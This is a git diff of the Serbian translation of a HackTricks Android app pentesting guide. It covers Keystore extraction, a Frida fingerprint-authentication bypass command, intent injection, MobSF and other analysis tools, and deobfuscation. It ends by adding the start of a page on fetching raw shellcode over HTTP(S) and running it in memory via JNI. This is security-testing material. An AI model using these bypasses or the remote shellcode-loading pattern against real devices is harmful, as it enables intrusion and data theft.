folderu, i tamo možete koristiti grep sa nečim poput: +Ovo će dump memoriju u ./dump folder, a tamo možete pokrenuti grep sa nečim poput: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Osetljivi podaci u Keystore** -U Androidu je Keystore najbolje mesto za čuvanje osetljivih podataka, međutim, uz dovoljne privilegije i dalje je **moguće pristupiti njemu**. Pošto aplikacije imaju tendenciju da ovde čuvaju **osetljive podatke u čistom tekstu**, pentests bi trebalo da to provere, jer root korisnik ili neko sa fizičkim pristupom uređaju može ukrasti te podatke. +Na Androidu je Keystore najbolje mesto za čuvanje osetljivih podataka, međutim, uz dovoljno privilegija i dalje je **moguće mu je pristupiti**. Pošto aplikacije obično ovde čuvaju **osetljive podatke u clear text**, pentests bi trebalo da provere to, jer root user ili neko sa fizičkim pristupom uređaju mogao bi da ukrade te podatke. -Čak i ako aplikacija skladišti podatke u Keystore-u, ti podaci treba da budu šifrovani. +Čak i ako aplikacija čuva podatke u keystore-u, podaci bi trebalo da budu enkriptovani. -Da biste pristupili podacima unutar Keystore-a, možete koristiti ovaj Frida skript: https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js +Za pristup podacima unutar keystore-a možete koristiti ovaj Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -Korišćenjem sledećeg Frida skripta može biti moguće **bypass fingerprint authentication** koje Android aplikacije mogu primenjivati kako bi **zaštitile određene osetljive oblasti:** +Koristeći sledeći Frida script, moguće je **bypass fingerprint authentication** koju Android aplikacije koriste kako bi **zaštitile određena osetljiva područja:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Pozadinske slike** -Kada aplikaciju stavite u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u prvi plan počne da učitava sliku pre same aplikacije, kako bi izgledalo da se aplikacija brže učitala. +Kada aplikaciju stavite u pozadinu, Android čuva **snimak aplikacije** tako da kada se vrati u prednji plan počne da učitava sliku pre same aplikacije, pa izgleda kao da je aplikacija brže učitana. -Međutim, ako ovaj snimak sadrži **osetljive informacije**, neko ko ima pristup snimku može **ukrasti te informacije** (napomena: za pristup je potreban root). +Međutim, ako taj snimak sadrži **osetljive informacije**, neko sa pristupom snimku može **ukrasti te informacije** (napomena: potreban je root za pristup). -Snimci se obično nalaze na: **`/data/system_ce/0/snapshots`** +Snimci su obično sačuvani na: **`/data/system_ce/0/snapshots`** -Android pruža način da se **spreči pravljenje screenshot-a postavljanjem FLAG_SECURE** layout parametra. Korišćenjem ove zastavice, sadržaj prozora se tretira kao bezbedan, što sprečava njegovo pojavljivanje na screenshot-ovima ili prikazivanje na nebezbednim ekranima. +Android omogućava način da se **spreči screenshot podešavanjem FLAG_SECURE** layout parametra. Korišćenjem ovog flag-a, sadržaj prozora se tretira kao siguran, što sprečava njegovo pojavljivanje u screenshots ili prikazivanje na nesigurnim ekranima. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android Application Analyzer** -Ovaj alat vam može pomoći da upravljate različitim alatima tokom dinamičke analize: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +Ovaj alat može pomoći pri upravljanju različitim alatima tokom dinamičke analize: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -Programeri često kreiraju proxy komponente kao što su activities, services i broadcast receivers koje obrađuju ove Intents i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično. +Developeri često kreiraju proxy komponente kao što su activities, services i broadcast receivers koje obrađuju ove Intents i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično. -Opasnost leži u dopuštanju napadačima da pokrenu neeksportovane komponente aplikacije ili pristupe osetljivim content providers tako što će pogrešno usmeriti ove Intents. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte preko `Intent.parseUri(...)` i zatim ih izvršava, što potencijalno može dovesti do malicioznih Intent injekcija. +Opasnost leži u dopuštanju napadačima da pokrenu non-exported app components ili pristupe osetljivim content providers preusmeravanjem ovih Intents. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte pomoću `Intent.parseUri(...)` i potom ih izvršava, što može dovesti do malicioznih Intent injections. -### Suštinske napomene +### Essential Takeaways -- **Intent Injection** je sličan web Open Redirect problemu. +- **Intent Injection** je sličan web Open Redirect issue-u. - Eksploati uključuju prosleđivanje `Intent` objekata kao extras, koji mogu biti preusmereni da izvrše nesigurne operacije. -- Može izložiti neeksportovane komponente i content providers napadačima. -- `WebView`-ova konverzija URL-a u `Intent` može omogućiti neželjene akcije. +- Može izložiti non-exported components i content providers napadačima. +- Konverzija URL-a u `Intent` od strane `WebView`-a može omogućiti nepredviđene akcije. ### Android Client Side Injections and others -Verovatno poznajete ovu vrstu ranjivosti sa weba. Morate biti posebno oprezni sa ovim ranjivostima u Android aplikaciji: +Verovatno već znate za ovakve ranjivosti sa Web-a. Morate biti posebno oprezni sa ovim ranjivostima u Android aplikaciji: -- **SQL Injection:** Kada radite sa dinamičkim upitima ili Content-Providers, osigurajte da koristite parametrizovane upite. -- **JavaScript Injection (XSS):** Proverite da li je podrška za JavaScript i Plugin onemogućena za bilo koje WebViews (onemogućeno po podrazumevanoj vrednosti). [More info here](webview-attacks.md#javascript-enabled). -- **Local File Inclusion:** WebViews treba da imaju onemogućen pristup fajl sistemu (omogućen podrazumevano) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: U nekoliko slučajeva, kada Android aplikacija završi sesiju, cookie nije opozvan ili čak može biti sačuvan na disku +- **SQL Injection:** Kada radite sa dinamičkim upitima ili Content-Providers, obavezno koristite parameterized queries. +- **JavaScript Injection (XSS):** Proverite da li je podrška za JavaScript i Plugin onemogućena za sve WebViews (po defaultu onemogućeno). [More info here](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews bi trebalo da imaju pristup fajl sistemu onemogućen (podrazumevano omogućen) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: U više slučajeva, kada Android aplikacija završi sesiju, cookie nije opozvan ili čak može biti sačuvan na disku - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Automatska analiza +## Automatic Analysis ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**Statička analiza** +**Static analysis** ![](<../../images/image (866).png>) -**Procena ranjivosti aplikacije** putem lepog web grafičkog interfejsa. Takođe možete izvršiti dinamičku analizu (ali morate pripremiti okruženje). +**Procena ranjivosti aplikacije** koristeći lep web-based frontend. Takođe možete izvršiti dinamičku analizu (ali morate pripremiti okruženje). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +Primetite da MobSF može da analizira **Android**(apk)**, IOS**(ipa) **and Windows**(apx) aplikacije (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Takođe, ako napravite **ZIP** fajl sa source kodom za **Android** ili **IOS** aplikaciju (idite u root folder aplikacije, selektujte sve i napravite ZIPfile), moći će da ga analizira takođe. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +MobSF takođe omogućava **diff/Compare** analiza i integraciju **VirusTotal** (treba da postavite vaš API ključ u _MobSF/settings.py_ i omogućite ga: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Možete takođe podesiti `VT_UPLOAD` na `False`, onda će **hash** biti **upload** umesto fajla. -### Pomoćna dinamička analiza sa MobSF +### Assisted Dynamic analysis with MobSF -**MobSF** može biti veoma koristan i za **dynamic analysis** na **Android**, ali u tom slučaju morate instalirati MobSF i **genymotion** na vaš host (VM ili Docker neće raditi). _Napomena: Potrebno je prvo **start a VM in genymotion** i **then MobSF.**_\ -The **MobSF dynamic analyser** can: +**MobSF** može biti vrlo koristan i za **dinamičku analizu** na **Android**, ali u tom slučaju morate instalirati MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +**MobSF dynamic analyser** može: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Sve ovo se radi automatski osim za screenshots — za njih morate pritisnuti kada želite screenshot ili pritisnuti "**Exported Activity Tester**" da biste dobili screenshots svih exported activities. -- Presretanje **HTTPS** saobraćaja -- Koristi **Frida** za dobijanje **runtime** **information** +- **Dump application data** (URL-ove, logove, clipboard, screenshots koje napravite, screenshots dobijene preko "**Exported Activity Tester**", emailove, SQLite baze, XML fajlove i druge kreirane fajlove). Sve ovo se radi automatski osim screenshots — morate pritisnuti kad želite screenshot ili pritisnuti "**Exported Activity Tester**" da biste dobili screenshots svih exported activities. +- Capture **HTTPS traffic** +- Use **Frida** da dobijete **runtime** **information** -From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. +Na android **versions > 5**, automatski će pokrenuti Frida i postaviće globalna **proxy** podešavanja da bi **capture**-ovao saobraćaj. Hvataće samo saobraćaj iz testirane aplikacije. **Frida** -By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ -MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. +Po defaultu, koristiće neke Frida Scripts da **bypass SSL pinning**, **root detection** i **debugger detection** i da **monitor interesting APIs**.\ +MobSF takođe može **invoke exported activities**, napraviti **screenshots** istih i **save** ih za izveštaj. -To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ -MobSF also allows you to load your own **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). +Da biste **start**-ovali dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da vidite logove koje generišu Frida skripte i "**Live API Monitor**" da vidite sve pozive ka hooked metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiskanja "Start Instrumentation").\ +MobSF takođe omogućava da učitate svoje **Frida scripts** (da pošaljete rezultate vaših Frida skripti u MobSF koristite funkciju `send()`). Ima **nekoliko pre-napisanih skripti** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), jednostavno ih **select**-ujte, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti u "**Frida Live Logs**"). ![](<../../images/image (419).png>) Pored toga, imate neke pomoćne Frida funkcionalnosti: -- **Enumerate Loaded Classes**: Ispisuje sve učitane klase -- **Capture Strings**: Ispisuje sve uhvaćene stringove dok koristite aplikaciju (veoma bučno) -- **Capture String Comparisons**: Može biti veoma korisno. Pokazaće **the 2 strings being compared** i da li je rezultat True ili False. -- **Enumerate Class Methods**: Unesite ime klase (npr. "java.io.File") i ispisaće sve metode te klase. -- **Search Class Pattern**: Pretražuje klase po obrascu -- **Trace Class Methods**: **Trace** a **whole class** (videti ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko interesantnih Android Api metoda. +- **Enumerate Loaded Classes**: Ispisaće sve učitane klase +- **Capture Strings**: Ispisaće sve captur-ovane stringove dok koristite aplikaciju (veoma noisy) +- **Capture String Comparisons**: Može biti veoma korisno. Pokazaće **dva stringa koja se porede** i da li je rezultat True ili False. +- **Enumerate Class Methods**: Unesite ime klase (npr. "java.io.File") i prikazaće sve metode te klase. +- **Search Class Pattern**: Pretražuje klase po pattern-u +- **Trace Class Methods**: **Trace** cele klase (vidite input-e i output-e svih metoda klase). Zapamtite da po defaultu MobSF traca nekoliko interesantnih Android API metoda. -Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". +Kada odaberete pomoćni modul koji želite da koristite, potrebno je da pritisnete "**Start Intrumentation**" i videćete sve izlaze u "**Frida Live Logs**". **Shell** -MobSF takođe donosi shell sa nekim **adb** komandama, **MobSF commands**, i uobičajenim **shell** **commands** na dnu stranice dinamičke analize. Neke interesantne komande: +MobSF takođe donosi shell sa nekim **adb** komandama, **MobSF commands**, i uobičajenim **shell** **commands** na dnu stranice za dinamičku analizu. Neke interesantne komande: ```bash help shell ls @@ -654,15 +663,15 @@ exported_activities services receivers ``` -**HTTP alati** +**HTTP tools** -Kada se HTTP saobraćaj uhvati, možete videti ružan prikaz uhvaćenog saobraćaja na dnu "**HTTP(S) Traffic**" ili lepši prikaz na zelenom dugmetu "**Start HTTPTools**". Iz druge opcije možete **send** **captured requests** na **proxies** kao što su Burp ili Owasp ZAP.\ -Da to uradite, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> pritisnite "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Kada se http saobraćaj zabeleži možete videti ružan prikaz zabeleženog saobraćaja na dugmetu "**HTTP(S) Traffic**" ili lepši prikaz na zelenom dugmetu "**Start HTTPTools**". Iz druge opcije možete **send** the **captured requests** to **proxies** kao Burp ili Owasp ZAP.\ +Da biste to uradili, _uključite Burp -->_ _isključite Intercept --> u MobSB HTTPTools izaberite request_ --> pritisnite "**Send to Fuzzer**" --> _izaberite adresu proxy-ja_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Kada završite dinamičku analizu sa MobSF možete pritisnuti "**Start Web API Fuzzer**" da **fuzz http requests** i tražite ranjivosti. > [!TIP] -> Nakon izvršene dinamičke analize sa MobSF proxy podešavanja mogu biti pogrešno konfigurisana i nećete moći da ih popravite iz GUI-ja. Možete popraviti proxy podešavanja tako što ćete uraditi: +> Nakon izvođenja dinamičke analize sa MobSF, proxy podešavanja mogu biti pogrešno konfigurisana i nećete moći da ih popravite iz GUI-ja. Možete popraviti proxy podešavanja tako što ćete uraditi: > > ``` > adb shell settings put global http_proxy :0 @@ -671,17 +680,17 @@ Kada završite dinamičku analizu sa MobSF možete pritisnuti "**Start Web API F ### Assisted Dynamic Analysis with Inspeckage Možete preuzeti alat sa [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Ovaj alat koristi neke **Hooks** da vam pokaže **šta se dešava u aplikaciji** dok izvodite **dynamic analysis**. +Ovaj alat koristi neke **Hooks** da vam pokaže **what is happening in the application** dok vršite **dynamic analysis**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Ovo je **odličan alat za izvođenje static analysis sa GUI-jem** +Ovo je **great tool to perform static analysis with a GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Ovaj alat je dizajniran da traži nekoliko **security related Android application vulnerabilities**, bilo u **source code** ili **packaged APKs**. Alat je takođe sposoban da kreira **"Proof-of-Concept" deployable APK** i **ADB commands**, kako bi iskoristio neke od pronađenih ranjivosti (Exposed activities, intents, tapjacking...). Kao i sa Drozer, nema potrebe za root-ovanjem test uređaja. +Ovaj alat je dizajniran da traži više **security related Android application vulnerabilities**, bilo u **source code** ili u **packaged APKs**. Alat je takođe **capable of creating a "Proof-of-Concept" deployable APK** i **ADB commands**, za eksploatisanje nekih od pronađenih ranjivosti (Exposed activities, intents, tapjacking...). Kao i sa Drozer-om, nema potrebe da root-ujete test uređaj. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -690,22 +699,22 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Prikazuje sve ekstrahovane fajlove radi lakšeg pregleda +- Prikazuje sve izvađene fajlove radi lakšeg pregleda - Automatski dekompajlira APK fajlove u Java i Smali format -- Analizira AndroidManifest.xml za uobičajene ranjivosti i ponašanja +- Analizuje AndroidManifest.xml radi uobičajenih ranjivosti i ponašanja - Statička analiza izvornog koda za uobičajene ranjivosti i ponašanja - Informacije o uređaju -- i još više +- i još mnogo toga ```bash reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER je aplikacija komandne linije koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ fajlove u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti. +SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, i analizira _.apk_ fajlove u potrazi za ranjivostima. To radi dekompresovanjem APKs i primenom niza pravila za otkrivanje tih ranjivosti. -Sva pravila su u fajlu `rules.json`, i svaka kompanija ili tester može kreirati sopstvena pravila za analizu po potrebi. +Sva pravila su centralizovana u `rules.json` fajlu, i svaka kompanija ili tester može da kreira sopstvena pravila da analizira ono što im je potrebno. -Preuzmite najnovije binarije sa [download page](https://superanalyzer.rocks/download.html) +Preuzmite najnovije binarne fajlove sa [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -715,15 +724,15 @@ super-analyzer {apk_file} StaCoAn je **crossplatform** alat koji pomaže programerima, bugbounty hunterima i ethical hackerima pri izvođenju [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama. -Koncept je da prevučete i ispustite fajl vaše mobilne aplikacije (an .apk or .ipa file) na StaCoAn aplikaciju i on će generisati vizuelni i prenosivi izveštaj za vas. Možete prilagoditi podešavanja i wordlists da biste dobili personalizovano iskustvo. +Koncept je da prevučete i ispustite fajl vaše mobilne aplikacije (an .apk or .ipa file) na StaCoAn aplikaciju i ona će za vas generisati vizuelni i prenosiv izveštaj. Možete podesiti settings i wordlists da biste dobili prilagođeno iskustvo. -Preuzmite[ latest release](https://github.com/vincentcox/StaCoAn/releases): +Preuzmi[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework je sistem za analizu ranjivosti Android aplikacija koji pomaže programerima i hakerima da otkriju potencijalne bezbednosne propuste.\ +AndroBugs Framework je sistem za analizu ranjivosti Android aplikacija koji pomaže razvijačima ili hakerima da pronađu potencijalne bezbednosne ranjivosti.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -731,11 +740,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** je alat čiji je glavni cilj da otkrije i upozori korisnika na potencijalno maliciozno ponašanje koje može razviti Android aplikacija. +**Androwarn** je alat čiji je glavni cilj da otkrije i upozori korisnika na potencijalno zlonamerna ponašanja koja može izvršavati Android aplikacija. Detekcija se vrši pomoću **static analysis** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, koristeći biblioteku [`androguard`](https://github.com/androguard/androguard). -Ovaj alat traži **common behavior of "bad" applications** kao što su: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Ovaj alat traži **uobičajeno ponašanje "loših" aplikacija** kao što su: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -743,87 +752,83 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** je **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. To je alat koji okuplja često korišćene mobile application reverse engineering i analysis alate, kako bi pomogao pri testiranju mobilnih aplikacija protiv OWASP mobile security threats. Njegov cilj je da ovaj zadatak učini jednostavnijim i pristupačnijim za mobile application developers i security professionals. +**MARA** je okvir za obrnuti inženjering i analizu mobilnih aplikacija. To je alat koji okuplja često korišćene alate za obrnuti inženjering i analizu mobilnih aplikacija, kako bi pomogao pri testiranju mobilnih aplikacija protiv OWASP-ovih pretnji u mobilnoj bezbednosti. Njegov cilj je da ovaj zadatak učini lakšim i pristupačnijim programerima mobilnih aplikacija i bezbednosnim profesionalcima. -It is able to: +Može: -- Extract Java and Smali code using different tools -- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Ekstrahuje privatne informacije iz APK-a koristeći regexps. +- Ekstrahovati Java i Smali kod koristeći različite alate +- Analizira APK-ove koristeći: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Izvlači privatne informacije iz APK-a koristeći regexps. - Analizira Manifest. -- Analizira pronađene domene koristeći: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) +- Analizira pronađene domene koristeći: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) i [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuskuje APK preko [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Koristan za detekciju malware-a: [https://koodous.com/](https://koodous.com/) +Koristan za detekciju malvera: https://koodous.com/ -## Obfuscating/Deobfuscating code +## Obfuskovanje/Deobfuskovanje koda -Imajte na umu da, u zavisnosti od servisa i konfiguracije koje koristite za obfuscate koda, secrets mogu ili ne moraju ostati obfuscated. +Imajte na umu da, u zavisnosti od servisa i konfiguracije koju koristite za obfuskovanje koda, tajni podaci mogu, ali ne moraju, ostati obfuskovani. ### [ProGuard]() -From [Wikipedia](): **ProGuard** je open source command-line alat koji smanjuje, optimizes i obfuscates Java kod. Sposoban je da optimizuje bytecode kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je free software i distribuira se pod GNU General Public License, verzija 2. +From [Wikipedia](): **ProGuard** je open source alat iz komandne linije koji smanjuje, optimizuje i obfuskuje Java kod. Može optimizovati bytecode kao i detektovati i ukloniti neiskorišćene instrukcije. ProGuard je slobodan softver i distribuira se pod GNU General Public License, verzija 2. -ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom build-a aplikacije u release modu. +ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom build-ovanja aplikacije u release modu. ### [DexGuard](https://www.guardsquare.com/dexguard) -Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Pronađite vodič korak-po-korak za deobfuskaciju apk-a na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(From that guide) Poslednji put kad smo proveravali, način rada Dexguard-a je bio: +(Prema tom vodiču) Poslednji put kada smo proveravali, režim rada Dexguard-a je bio: -- load a resource as an InputStream; -- feed the result to a class inheriting from FilterInputStream to decrypt it; -- do some useless obfuscation to waste a few minutes of time from a reverser; -- feed the decrypted result to a ZipInputStream to get a DEX file; -- finally load the resulting DEX as a Resource using the `loadDex` method. +- učitaj resurs kao InputStream; +- prosledi rezultat klasi koja nasledjuje FilterInputStream da bi ga dešifrovala; +- uradi neku beskorisnu obfuskaciju da bi se reverseru potrošilo nekoliko minuta; +- prosledi dešifrovani rezultat ZipInputStream-u da bi se dobio DEX fajl; +- na kraju učitaj dobijeni DEX kao Resource koristeći `loadDex` metodu. ### [DeGuard](http://apk-deguard.com) -**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** +**DeGuard poništava proces obfuskacije koji izvode Android obfuscation tools. Ovo omogućava brojne bezbednosne analize, uključujući inspekciju koda i predviđanje biblioteka.** -Možete upload-ovati obfuskovani APK na njihovu platformu. +Možete otpremiti obfuskovani APK na njihovu platformu. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Ovo je LLM alat za pronalaženje potencijalnih security ranjivosti u android apps i deobfuscate android app code. Koristi Google's Gemini public API. +Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -To je **generic android deobfuscator.** Simplify **virtually executes an app** da razume njegovo ponašanje i zatim **tries to optimize the code** tako da se ponaša identično, ali je lakše za čoveka da razume. Svaki tip optimizacije je prost i generic, tako da nije važno koji konkretan tip obfuscation je korišćen. +To je generic android deobfuscator. Simplify praktično izvršava aplikaciju da razume njeno ponašanje, a zatim pokušava da optimizuje kod tako da se ponaša identično, ali bude lakši za razumevanje ljudskom čitaocu. Svaki tip optimizacije je jednostavan i generički, tako da nije bitno koja je konkretna vrsta obfuskacije korišćena. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD vam daje informacije o **how an APK was made**. Identifikuje mnoge **compilers**, **packers**, **obfuscators**, i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android. +APKiD vam daje informacije o tome **kako je APK napravljen**. Identifikuje mnoge **compilers**, **packers**, **obfuscators**, i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android. ### Manual -[Pročitajte ovaj tutorijal da naučite neke trikove o **how to reverse custom obfuscation**](manual-deobfuscation.md) +[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) -## Labs +## Laboratorije ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b je Android security virtual machine zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih framework-ova, tutorijala i labova od različitih security geeka i istraživača za reverse engineering i malware analysis. +AndroL4b je Android security virtuelna mašina zasnovana na ubuntu-mate koja sadrži kolekciju najnovijih framework-ova, tutorijala i laboratorija od različitih security geeka i istraživača za reverse engineering i analizu malvera. ## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) To je sjajna lista resursa +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) -- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) +- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) - [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - -## Yet to try - -- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) -- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) +- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md new file mode 100644 index 000000000..96f3c3c06 --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md @@ -0,0 +1,121 @@ +# Android In-Memory Native Code Execution via JNI (shellcode) + +{{#include ../../banners/hacktricks-training.md}} + +Ova stranica dokumentuje praktičan obrazac za izvršavanje native payload-ova potpuno u memoriji iz nepouzdanog Android app procesa koristeći JNI. Tok izbegava kreiranje bilo kog native binarnog fajla na disku: preuzmite raw shellcode bajtove preko HTTP(S), prosledite ih JNI bridge-u, alocirajte RX memoriju i skočite u nju. + +Why 